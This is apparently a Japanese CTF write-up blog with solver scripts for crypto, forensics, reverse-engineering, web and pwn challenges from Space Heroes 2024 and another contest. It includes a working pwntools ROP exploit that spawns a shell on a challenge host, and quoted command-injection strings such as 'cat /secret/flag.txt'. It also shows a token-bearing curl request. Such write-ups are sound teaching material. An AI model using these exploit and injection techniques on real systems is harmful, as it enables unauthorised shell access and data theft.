n = 6db238c7c046dfcf
e = 10001
c = 494c1b28d9d10680
Enter the bit length of your primes> 32
n = 991439410ed9986d
e = 10001
c = 2f52671eee8c09cc
Enter the bit length of your primes> 32
n = 98e2bd7c91f9efc7
e = 10001
c = 19960b1ab2361059
Enter the bit length of your primes> 32
n = 8ea579a17de9f3fb
e = 10001
c = f45c6b1d18a527d
Enter the bit length of your primes> 32
n = 97993eae7ea671a3
e = 10001
c = 6788616b32bfbc05
Enter the bit length of your primes> 32
n = 997ded2f7c733575
e = 10001
c = 52a21bce335c2496
Enter the bit length of your primes> 32
n = 5806f99758ae659b
e = 10001
c = 3c797e477aa9d5be
Enter the bit length of your primes> 32
n = 61183d3587d99e31
e = 10001
c = 19715b42fd82f77d
Enter the bit length of your primes> 32
n = ba9150172ef173a5
e = 10001
c = 547958a7ac2b88a7
Enter the bit length of your primes> 32
n = 56757ff450b7f079
e = 10001
c = 4a7fe9fb2fa71042
Enter the bit length of your primes> 32
n = 76ef126ba18a7515
e = 10001
c = 637d21c3206b3629
Enter the bit length of your primes> 32
n = ba84ff7ed8d57459
e = 10001
c = 32efee37045153b9
Enter the bit length of your primes> 32
n = 56f680bb40ff9d91
e = 10001
c = 433b64850907b5b8
Enter the bit length of your primes> 32
n = 84b6ff421161c021
e = 10001
c = de4d96d8e702c5d
Enter the bit length of your primes> 32
n = 6ad39973299b2107
e = 10001
c = 229174ed7f7494b9
Enter the bit length of your primes> 32
n = cbf0d754baba2ce9
e = 10001
c = 540bd531a0b53376
Enter the bit length of your primes> 32
n = 6d26e457b179e2e9
e = 10001
c = 3a161e89459d673c
Enter the bit length of your primes> 32
n = 86327cf39c6d75f1
e = 10001
c = 225eca92ac57d93a
Enter the bit length of your primes> 32
n = 6061d7c484d0a35f
e = 10001
c = 47881d12904a6912
Enter the bit length of your primes> 32
n = 8e8adac3cf3b965f
e = 10001
c = 2d01f953e4c3b060
Enter the bit length of your primes> 32
n = c1d908c5ad780ea9
e = 10001
c = 9ea0b4a02b7a9e0b
Enter the bit length of your primes> 32
n = a138d51079b95d8f
e = 10001
c = 7ae89bf18f1983e1
Enter the bit length of your primes> 32
n = 5e34e66cdd61211b
e = 10001
c = 581aa9ceac0d8997
Enter the bit length of your primes> 32
n = bc62ce84c0034897
e = 10001
c = 3e96df0ccadcc199
Enter the bit length of your primes> 32
n = 695f931d5812f8f7
e = 10001
c = 5a0320e540b301d0
Enter the bit length of your primes> 32
n = 9311fe636cd33c87
e = 10001
c = 56b17ecafb623d6e
Enter the bit length of your primes> 32
n = 5cf62e28077105d7
e = 10001
c = 198af292d61fb1d4
Enter the bit length of your primes> 32
n = 75e999f95bacadcd
e = 10001
c = 1ee23dc316401f2f
Enter the bit length of your primes> 32
n = ac6acdab4b1374bb
e = 10001
c = a443ac99946b846b
Enter the bit length of your primes> 32
n = 5346b02ba42d4185
e = 10001
c = 3f77144bf2b19d4c
Enter the bit length of your primes> 32
n = 66e9948966033f59
e = 10001
c = 4becf921a6ed329f
Enter the bit length of your primes> 32
n = ccfb36b3afff7d55
e = 10001
c = ab23a1114bb401da
Enter the bit length of your primes> 32
n = cb8b4744fb4d8997
e = 10001
c = 584905532a8499c6
Enter the bit length of your primes> 32
n = 98dea46cf2711a8b
e = 10001
c = 8e395a8761ff6f0f
Enter the bit length of your primes> 32
n = 80f82dd7ab90108d
e = 10001
c = 2fc52300fe35409e
Enter the bit length of your primes> 32
n = bf97553c0372463b
e = 10001
c = 6f9d1cd29874b9fd
Enter the bit length of your primes> 32
n = 7062e9e6430f349b
e = 10001
c = 5b440e4a8225442e
Enter the bit length of your primes> 32
n = 858a91396893208f
e = 10001
c = 3049d3bb4507e8b0
Enter the bit length of your primes> 32
n = 4d926b549f81dad1
e = 10001
c = 39e9dbd5c29d43b6
Enter the bit length of your primes> 32
n = 6b12b1e746dff909
e = 10001
c = 50a2e32286ef36de
Enter the bit length of your primes> 32
n = 838ad22052610149
e = 10001
c = 32cbbacad70ed43b
Enter the bit length of your primes> 32
n = 6325f18027971b65
e = 10001
c = 99a7db737ed6723
Enter the bit length of your primes> 32
n = 766a8ce181ffde93
e = 10001
c = 74d1222474735238
bctf{dont_let_the_user_choose_the_prime_length_>w<}
bctf{dont_let_the_user_choose_the_prime_length_>w<}

Fetus-RSA (crypto)

topGはフラグを5バイトずつに分割し、5×5の行列にしたもの。bottomGの値からtopGを求める問題ということになる。

bottomG = topG ** e

bottomG = P * J * inverse(P)となるJ(=ジョルダン標準形), Pを求める。

topG * ... * topG = P * J * inverse(P)
        ↓
(inverse(P) * topG * P) ** e = J

nは2分探索で素因数分解できる。上記の計算を素因数分解した素数のp1について行い、Jを算出する。Jの斜めの要素について、RSA暗号の復号でinverse(P) * topG * Pを求める。
inverse(P) * topG * PをBとすると、以下の計算でtopGを算出できる。

topG = P * B * inverse(P)

topGがわかれば、各要素を文字にし、結合すればフラグになる。

#!/usr/bin/sage
from Crypto.Util.number import *
from sympy import nextprime

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split(' ')[-1])
M = []
for i in range(4, 14, 2):
    row = [int(v) for v in params[i].split(' ')[:-1]]
    M.append(row)

bounds = [2**127, 2**128]
while True:
    base = (bounds[0] + bounds[1]) // 2
    p1 = nextprime(base)
    p2 = nextprime(p1 * 1 - 1)
    p3 = nextprime(p2 * 3 - 1)
    p4 = nextprime(p3 * 3 - 1)
    p5 = nextprime(p4 * 7 - 1)
    tmp_n = p1 * p2 * p3 * p4 * p5
    if tmp_n > n:
        bounds[1] = base
    elif tmp_n < n:
        bounds[0] = base
    else:
        break

bottomG = Matrix(GF(p1), M)
J, P = bottomG.jordan_form(transformation=True)

e = 31337
phi = p1 - 1
d = inverse(e, phi)
B = []
for i in range(5):
    c = J[i][i]
    m = pow(c, d, p1)
    row = [0, 0, 0, 0]
    row.insert(i, m)
    B.append(row)
B = Matrix(GF(p1), B)

topG = P * B * ~P

flag = ''
for i in range(5):
    for j in range(5):
        flag += long_to_bytes(int(topG[i][j])).decode()
print(flag)
bctf{c0ngr4ts_y0u_35c4p3d_th3_m4tr1c3s, but really how? what color is your honda civic? sorry i just need to make this long.}

survey (misc)

アンケートの最後の質問の選択肢にフラグが書いてあった。

bctf{thanks_for_playing_see_you_next_year}

Space Heroes 2024 Writeup

この大会は2024/4/13 7:00(JST)~2024/4/15 7:00(JST)に開催されました。
今回もチームで参戦。結果は2031点で614チーム中47位でした。
自分で解けた問題をWriteupとして書いておきます。

I rebel... (Welcome)

Discordに入り、#rulesチャネルでルールを見ると、フラグが書いてあった。

shctf{th3r3_is_a_great_DISturb4nc3_n_t3h_4ce}

Falling In ROP (pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  DisplayArt();
  vuln();
  fflush((FILE *)0x0);
  return 0;
}

undefined8 vuln(void)

{
  undefined local_58 [80];
  
  puts("-============Coming Home - Falling In Reverse============-");
  puts(
      "Transmission from the stars.\nA message from the atmosphere.\nEtched into my heart.\nYour pur pose there is still unclear."
      );
  printf("Tell me who you are: ");
  read(0,local_58,0x100);
  return 0;
}

void win(int param_1,int param_2,int param_3)

{
  if (((param_1 == 0x7971957) && (param_2 == 0x71972)) && (param_3 == 0x9214)) {
    printf("I can finally hear her message loud and clear hold on my dear I\'m coming home");
    system("whoami");
  }
  else {
    printf("Your /bin/sh");
  }
  return;
}

BOFでROPを使ってsystem関数を"/bin/sh"を引数に指定して実行できればよい。

$ ROPgadget --binary falling.bin | grep ": ret"  
0x0000000000401016 : ret
0x0000000000401042 : ret 0xbf
0x0000000000401022 : retf 0xbf

$ ROPgadget --binary falling.bin --re "pop rdi" 
Gadgets information
============================================================
0x00000000004011cb : mov ebp, esp ; pop rdi ; ret
0x00000000004011ca : mov rbp, rsp ; pop rdi ; ret
0x00000000004011cd : pop rdi ; ret
0x00000000004011c9 : push rbp ; mov rbp, rsp ; pop rdi ; ret

Unique gadgets found: 4
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote("spaceheroes-falling-in-rop.chals.io", 443, ssl=True, sni="spaceheroes-falling-in-rop.chals.io")
else:
    p = process("./falling.bin")

elf = ELF("./falling.bin")

ret_addr = 0x401016
pop_rdi_addr = 0x4011cd
system_addr = elf.symbols["system"]
binsh_addr = next(elf.search(b"/bin/sh\x00"))

payload = b"A" * 88
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

data = p.recvuntil(b": ").decode()
print(data, end="")
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to spaceheroes-falling-in-rop.chals.io on port 443: Done
[*] '/media/sf_Shared/falling.bin'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
                                                                                                    
            ▄▄▄▄                                                                    ▄▄▄▄            
             ▄▄▄▄▄                                                                ▄▄▄ ▄             
              ▄▄▄▄▄▄▄                                                          ▄▄▄▄▄▄▄              
               ▄▄ ▄▄▄▄▄▄                                                    ▄▄▄▄▄▄▄▄▄               
                ▄▄     ▄▄▄▄                                              ▄▄▄▄▄    ▄▄                
                 ▄▄▄    ▄▄▄▄▄▄                                        ▄▄▄▄▄▄    ▄▄▄                 
                  ▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄                                  ▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄                  
                   ▄▄  ▄▄▄▄▄▄ ▄▄▄▄▄                              ▄▄▄▄▄ ▄▄▄▄▄▄  ▄▄▀                  
                    ▄▄  ▄▄▄▄▄▄   ▄▄▄▄▄                        ▄▄▄▄▄▄  ▄▄▄▄▄▄  ▄▄                    
                     ▄▄▄▄▄▄▄ ▀▄▄▄▄▄  ▄▄▄▄▄                 ▄▄▄▄  ▄▄▄▄▄▀▀▄▄▄▄▄▄▄▀                    
                      ▄▄  ▄▄▄   ▀▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄ ▄▄▄▄▀▀  ▄▄▄▄ ▄▄                      
                       ▄▄ ▄ ▄▄    ▀▀▄▄▄   ▄▄▄▄▄      ▄▄▄▄  ▄▄▄▄▄▀▀    ▄▄▄  ▄▄                       
                        ▄▄▄ ▄▄        ▀▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▀▀      ▄▄▄▄▄▄▄▀                       
                         ▄▄  ▄▄▄        ▀▄▄▄▄▄ ▄▄▄▄▄▄  ▄▄▄▀▀        ▄▄▄ ▄▄▄                         
                          ▄▄  ▄▄          ▀▄▄▄  ▄ ▄   ▄▀▀        ▄▄▄▄▄▄▄▄▀                          
                           ▄▄▄▄▄▄▄         ▀▀▄  ▄     ▄        ▄▄▄▄ ▄▄▄▀                            
                            ▄▄  ▄▄▄          ▄    ▄   ▄      ▄▄▄▄ ▄▄▄▀                              
                            ▀▄▄▄ ▄▄          ▄    ▄   ▄     ▄▄▄ ▄▄▄▀                                
  ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄     ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄  
     ▀▀▄▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄  ▄▄▄▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▀▀     
          ▀▀▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▀▀          
              ▀▀▀▀▄▄▄▄▄ ▄▄▄▄     ▄▄ ▄▄▄    ▀▀▄▄  ▄ ▄  ▄      ▄▄▄ ▄ ▀    ▄▄▄▄  ▄▄▄▄▀▀▀▀              
                    ▀▀▀▄▄▄ ▄▄▄   ▀▄▄ ▄▄▄     ▄▄  ▄▄▄  ▄     ▄▄ ▄▄▄▀   ▄▄▄ ▄▄▄▄▀▀                    
                         ▀▀▄▄▄▄▄▄  ▄▄  ▄▄    ▄    ▄▄  ▄    ▄▄  ▄▄  ▄▄▄▄▄▄▀▀                         
                              ▀▀▄▄▄▄▄▄▄ ▄▄   ▄▄  ▄▄   ▄   ▄▄  ▄▄▄▄ ▄▀▀                              
                                    ▀▄▄  ▄▄  ▄▄ ▄▄▄▄  ▄  ▄▄▄▄▄▄▀                                    
                                      ▄▄  ▄▄ ▄▄  ▄   ▄▄ ▄▄ ▄▄▄▀                                     
                                      ▀▄▄▄▄▄▄▄▄      ▄ ▄▄▄ ▄▄▀                                      
                                        ▄▄ ▄▄▄  ▄▄   ▄▄▄▄ ▄▄▀                                       
                                        ▀▄▄▄▄▄    ▄   ▄▄▄▄▄▀                                        
                                         ▀▄▄▄▄▄   ▄   ▄▄▄▄▀                                         
                                           ▄▄▄▄  ▄ ▄ ▄▄▄▄▀                                          
                                           ▀▄        ▄▄▄▀                                           
                                             ▄   ▄▄  ▄▄                                             
                                             ▀▄ ▄   ▄▄▀                                             
                                              ▀▄▄▄▄▄▄▀                                              
                                               ▀▄▄▄▄▀                                               
                                                ▀▄▄▀                                                
                                                                                                    
-============Coming Home - Falling In Reverse============-
Transmission from the stars.
A message from the atmosphere.
Etched into my heart.
Your purpose there is still unclear.
Tell me who you are: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16\x10@\x00\x00\x00\x00\x00\xcd\x11@\x00\x00\x00\x00\x005!@\x00\x00\x00\x00\x00P\x10@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ ls
-
banner_fail
bin
boot
chal
dev
etc
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
service.conf
srv
sys
tmp
usr
var
wrapper
$ cat flag.txt
shctf{hat3_mu$t_n3v3r_w1n_6184}
shctf{hat3_mu$t_n3v3r_w1n_6184}

ATM (re)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_11;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Welcome to the ATM (Alien Time Machine)! Please select an option from the list below:");
  do {
    puts("(b)alance\n(w)ithdrawal\nOption: ");
    __isoc99_scanf(&DAT_001021a0,&local_11);
    getchar();
    iVar1 = atm((int)local_11);
  } while (iVar1 != 1);
  print_flag();
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

undefined8 atm(char param_1)

{
  time_t tVar1;
  undefined8 uVar2;
  long in_FS_OFFSET;
  int local_18;
  int local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (param_1 == 'w') {
    puts("How much would you like to withdrawal? (Whole amts only)\nAmount: ");
    __isoc99_scanf(&DAT_00102062,&local_18);
    tVar1 = time((time_t *)0x0);
    srand((uint)tVar1);
    local_14 = rand();
    if (local_14 == local_18) {
      print_flag();
      uVar2 = 1;
      goto LAB_0010145c;
    }
    puts("Completing facial recognition...");
    sleep(2);
    puts("Wait a minute, this isn\'t you! Locking in time loop...");
    sleep(2);
    puts("Going back in time... beep boop beep beep boop");
    sleep(2);
  }
  else if (param_1 == 'b') {
    puts("Balance: 100,000,000,000 AD (Alien Dollars)");
  }
  uVar2 = 0;
LAB_0010145c:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

void print_flag(void)

{
  FILE *__stream;
  long in_FS_OFFSET;
  char local_48 [56];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag.txt","r");
  fgets(local_48,0x32,__stream);
  printf("<<< %s\n",local_48);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

UNIXTIMEの整数値をseedにしてrand()の値を指定すればフラグを取得できる。
まずこのランダム値を取得できるプログラムを作成する。

$ cat get_amount.c    
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

void main() {
    time_t tm;
    int amount;

    tm = time((time_t *)NULL);
    srand((unsigned int)tm);
    amount = rand();
    printf("%d\n", amount);
}
$ gcc get_amount.c -o get_amount

あとはこのプログラムを使ってrand()の値を指定し、フラグを取得する。

#!/usr/bin/env python3
from pwn import *

p = remote("spaceheroes-atm.chals.io", 443, ssl=True, sni="spaceheroes-atm.chals.io")
data = p.recvuntil(b'Option: \n').decode().rstrip()
print(data)
print('w')
p.sendline(b'w')
data = p.recvuntil(b'Amount: \n').decode().rstrip()
print(data)

io = process('./get_amount')
amount = io.recvline().decode().rstrip()
print(amount)
p.sendline(amount.encode())
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to spaceheroes-atm.chals.io on port 443: Done
Welcome to the ATM (Alien Time Machine)! Please select an option from the list below:
(b)alance
(w)ithdrawal
Option:
w
How much would you like to withdrawal? (Whole amts only)
Amount:
[+] Starting local process './get_amount': pid 1662691
[*] Process './get_amount' stopped with exit code 10 (pid 1662691)
655480430
<<< shctf{t1m3_i5_4ll_r3l4tiv3}
[*] Closed connection to spaceheroes-atm.chals.io port 443
shctf{t1m3_i5_4ll_r3l4tiv3}

Slowly Downward (web)

HTMLソースを見ると、フレームになっていることがわかる。フレームの中のURLは以下のようになっている。

http://srv3.martiansonly.net:4444/

さらにこのページのHTMLソースを見てみる。リンクされているabit.htmlはログイン画面になっている。
リンクされているSMALL_THOUGHTS.htmlにアクセスし、このページのHTMLソースを見てみる。
リンクされているページを見るが何も見つからない。
一部以下にような気になる記述がある。

<div id="ADMIN">username@text/credentials/user.txt password@text/credentials/pass.txt</div>

http://srv3.martiansonly.net:4444/text/credentials/user.txtにアクセスすると、以下のように書いてあった。

4dm1n

http://srv3.martiansonly.net:4444/text/credentials/pass.txtにアクセスすると、以下のように書いてあった。

p4ssw0rd1sb0dy5n4tch3r5

http://srv3.martiansonly.net:4444/abit.htmlのログイン画面で、この情報を使ってログインする。

このような画面になっているが、flag.txtの内容は取得できない。HTMLソースを見てみると、スクリプトに以下のように書いてある。

                :

        // Function to fetch the session token from the server
        function fetchSessionToken() {
            fetch('/get-session-token')
                .then(response => {
                    if (!response.ok) {
                        throw new Error('Failed to fetch session token.');
                    }
                    return response.json();
                })
                .then(data => {
                    sessionToken = data.token;
                    // Call the function that initiates your application after fetching the session token
                    initApplication();
                })
                .catch(error => {
                    console.error('Error fetching session token:', error);
                });
        }

                :

            // Function to handle file name input blur event
            document.getElementById('fileNameInput').addEventListener('blur', function() {
                const fileName = this.value.trim();
                if (fileName.includes('arbiter.txt; cat /secret/flag.txt') || fileName.includes('carts.txt; cat /secret/flag.txt') || fileName.includes('arbiter.txt; cat secret/flag.txt') || fileName.includes('carts.txt; cat secret/flag.txt') || fileName.includes('arbiter.txt;cat secret/flag.txt') || fileName.includes('carts.txt;cat secret/flag.txt')){
                    // Fetch secret flag using the session token
                    fetch('/text/secret/flag.txt', {
                        headers: {
                            'Authorization': `Bearer ${sessionToken}`,
                            'Secret': 'mynameisstanley'
                        }
                    })
                        .then(response => {
                            if (!response.ok) {
                                throw new Error('File not found.');
                            }
                            return response.text();
                        })
                        .then(fileContent => {
                            document.getElementById('fileContent').innerText = fileContent;
                        })
                        .catch(error => {
                            alert(error.message);
                        });

                :

http://srv3.martiansonly.net:4444/get-session-tokenにアクセスすると、以下のように表示された。

{"token":"1e6ec9f9c268cd2d7bbc197e3bcc8a5c"}

ブラウザでアクセスしたときのクッキーの値と、AuthorizationとSecretの値を設定し、アクセスすると、フラグが得られた。

$ curl -H "Authorization: Bearer 1e6ec9f9c268cd2d7bbc197e3bcc8a5c" -H "Secret: mynameisstanley" -A "session=.eJwNz8sWgVAAQNF_uWMDjxR-xgpJJKluxPLv9uCsPT7fEPui21dNG4f9mNex6MPuG-Zhp1lYcMEll1xxxYQJ11wzZcqMGTfccMstc-Y88MAjjzzxxIIFzzyzZMkLL6xY8corb7yxZs0772zY8MEHW7Z88smOHU1qFgYOjIwcOfLFF998c-LEDz_h9_sDDnVFUA.Zhm15A.6hNtq3u2I75nHcxw85flVilEZLs" http://srv3.martiansonly.net:4444/text/secret/flag.txt
shctf{sh0w_m3_th3_w0r1d_a5_id_lov3_t0_s33_1t}
shctf{sh0w_m3_th3_w0r1d_a5_id_lov3_t0_s33_1t}

Petey the Panther's Guide to the Galaxy (forensics)

$ binwalk A_Real_Space_Hero.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1891          0x763           Certificate in DER format (x509 v3), header length: 4, sequence length: 1573
3471          0xD8F           Certificate in DER format (x509 v3), header length: 4, sequence length: 1746
5224          0x1468          Certificate in DER format (x509 v3), header length: 4, sequence length: 1455
6719          0x1A3F          Object signature in DER format (PKCS header length: 4, sequence length: 5928
6888          0x1AE8          Certificate in DER format (x509 v3), header length: 4, sequence length: 1730
8622          0x21AE          Certificate in DER format (x509 v3), header length: 4, sequence length: 1710
10336         0x2860          Certificate in DER format (x509 v3), header length: 4, sequence length: 1421
13067         0x330B          TIFF image data, big-endian, offset of first image directory: 8
256834        0x3EB42         Zip archive data, at least v1.0 to extract, name: secrets/
256872        0x3EB68         Zip archive data, at least v2.0 to extract, compressed size: 123, uncompressed size: 164, name: secrets/piece_0.png
257044        0x3EC14         Zip archive data, at least v2.0 to extract, compressed size: 106, uncompressed size: 120, name: secrets/piece_1.png
257199        0x3ECAF         Zip archive data, at least v2.0 to extract, compressed size: 152, uncompressed size: 182, name: secrets/piece_10.png
257401        0x3ED79         Zip archive data, at least v2.0 to extract, compressed size: 144, uncompressed size: 170, name: secrets/piece_100.png
                :
                :

$ foremost A_Real_Space_Hero.jpg 
Processing: A_Real_Space_Hero.jpg
|foundat=secrets/PK
                :
                :

$ cd output/zip
$ unzip 00000501.zip 
Archive:  00000501.zip
   creating: secrets/
  inflating: secrets/piece_0.png     
  inflating: secrets/piece_1.png     
  inflating: secrets/piece_10.png    
  inflating: secrets/piece_100.png   
  inflating: secrets/piece_101.png   
  inflating: secrets/piece_102.png
                :
                :

400個のpngファイルが展開される。この画像を20×20に敷き詰めれば、QRコードになりそうなので、結合する。

#!/usr/bin/env python3
from PIL import Image

CELL_SIZE = 20
WIDTH_COUNT = 20
HEIGHT_COUNT = 20
WIDTH = CELL_SIZE * WIDTH_COUNT
HEIGHT = CELL_SIZE * HEIGHT_COUNT
FILE_FORMAT = 'secrets/piece_%d.png'

output_img = Image.new('RGB', (WIDTH, HEIGHT), (255, 255, 255))

for y in range(HEIGHT_COUNT):
    for x in range(WIDTH_COUNT):
        fname = FILE_FORMAT % (x + y * WIDTH_COUNT)
        img = Image.open(fname).convert('RGB')
        img_crop = img.crop((0, 0, CELL_SIZE, CELL_SIZE))
        output_img.paste(img_crop, (x * CELL_SIZE, y * CELL_SIZE))

output_img.save('qr.png')


結合したQRコードを読み取ると、フラグを取得できた。

shctf{s0_l0ng_4nd_th4nks_f0r_4ll_th3_flags}

A Window into Space (forensics)

パケットNo.19から8008ポートへの通信を見る。TCPヘッダのWindowサイズにフラグが1文字ずつASCIIコードとして設定されているように見えるので、取り出して結合する。

#!/usr/bin/env python3
from scapy.all import *

packets = rdpcap('space.pcapng')

flag = ''
for p in packets:
    if p.haslayer(TCP) and p[TCP].dport == 8008:
        flag += chr(p[TCP].window)
print(flag)
shctf{1_sh0uld_try_h1d1ng_1n_th3_ch3cksum_n3xt_t1me_0817}

ᒣ⍑╎ϟ ╎ϟ リᒷᖋᒣ (crypto)

ivはわからないが、keyはわかっている。適当なivで復号してみると、先頭ブロック以外が復号でき、そこにフラグが含まれていた。

#!/usr/bin/env python3
from Crypto.Cipher import AES

with open('message.enc', 'r') as f:
    ciphertext = bytes.fromhex(f.read())

key = b'3153153153153153'
iv = b'\x00' * 16

cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)

flag = plaintext[plaintext.index(b'shctf{'):].decode()
print(flag)
shctf{th1s_was_ju5t_a_big_d1str4ction}

Intergalactic Cinema (crypto)

おそらく換字式暗号だが、数字も含まれている。まずフラグ部分を見てみる。

srmfy{ax_8xf_zx_zg8f6q_38f7_frwf_zx7a_8czrf}

以下の対応になることがわかる。

s -> s
r -> h
m -> c
f -> t
y -> f

この対応からわかる範囲で復号し、単語から推測できる箇所の対応をしながら、復号を進める。

#!/usr/bin/env python3

with open('encrypted.txt', 'r') as f:
    ct = f.read()

C = 'abcdefghijklmnopqrstuvwxyz0123456789'
P = 'db1rzt34wqv9c8x2ehs5jma0fg6yuip7lonk'

pt = ''
for c in ct:
    if c in C:
        pt += P[C.index(c)]
    else:
        pt += c

print(pt)

復号結果は以下の通り。

### line 1 ###
well, my dad was a farmer.

### line 2 ###
um, like everybody else back then.

### line 3 ###
of course, he didn't start that way.

### line 4 ###
computer says you're too tight.

### line 5 ###
- nah, i got this.

        :
        :

### line 2171 ###
at close of day

### line 2172 ###
rage, rage against the dying of the light

### line 2173 ###
shctf{d0_n0t_g0_g3ntle_into_that_g0od_n1ght}

### line 2174 ###
brand! help!

### line 2175 ###
- help!

        :
        :

### line 2756 ###
by the light of our new sun...

### line 2757 ###
in our new home.
shctf{d0_n0t_g0_g3ntle_into_that_g0od_n1ght}

Death Star Ransomware (crypto)

ECBモードなのでBMP画像が暗号されても文字が読み取れるレベルと推測し、ヘッダだけBMPにして画像として保存する。

#!/usr/bin/env python3

with open('enc.flag', 'rb') as f:
    enc = f.read()

bmp_head = [0x42, 0x4d, 0xca, 0x14, 0x70, 0x01, 0x00, 0x00, 0x00, 0x00, 0x8a,
    0x00, 0x00, 0x00, 0x7c, 0x00, 0x00, 0x00, 0xe8, 0x09, 0x00, 0x00, 0x4a,
    0x09, 0x00, 0x00, 0x01, 0x00, 0x20, 0x00, 0x03, 0x00, 0x00, 0x00, 0x40,
    0x14, 0x70, 0x01, 0x23, 0x2e, 0x00, 0x00, 0x23, 0x2e, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00,
    0xff, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x42,
    0x47, 0x52, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00]

bmp = bytes(bmp_head) + enc[len(bmp_head):]

with open('almost_flag.bmp', 'wb') as f:
    f.write(bmp)


画像(掲載画像は縮小したもの)を見るとフラグが読み取れた。

shctf{d3str0y_th3_reb3ls}

Warmind Communique (crypto)

"magma"で調べると、GOSTブロック暗号であることがわかる。最初のブロックの平文はわかるので、IVがわからなくてもKEYで復号できる。

#!/usr/bin/env python3
import gostcrypto

key = bytearray(b'SKYSHOCKSKYSHOCKSKYSHOCKSKYSHOCK')
iv = bytearray(b'\x00' * 16)

with open('encrypted.enc', 'rb') as f:
    ct = f.read()

cipher = gostcrypto.gostcipher.new('magma', key,
    gostcrypto.gostcipher.MODE_CBC, init_vect=iv)

pt = 'V150NLK747CLS000'
pt += cipher.decrypt(ct).decode()[16:]
print(pt)

復号結果は以下の通り。

V150NLK747CLS000 GLOAMING RESURRECTION
AI-COM/RSPN: ASSETS//FORCECON//IMPERATIVE
IMMEDIATE ACTION ORDER

xxxxxdxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxdxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxkkkkkkkkkkkxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxl:::::::::::::::::::::::::::::::::::::::::::::::::cldxxxxxxxxxxxk0XXXNXXXX0kxxxxxxxxxxxdlc::::::::::::::::::ccccc:::::::::::::::::cccccccc:oxxxxx
xxxxxc,,,,,,,,,,,,,,,,,,,,,,,,;;;;,,;;;;;;;;;;;;;;;;;;;,;:ldxxxxxxxxxxONNNWMNNNOxxxxxxxxxxdl:;,;;,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;lxxxxx
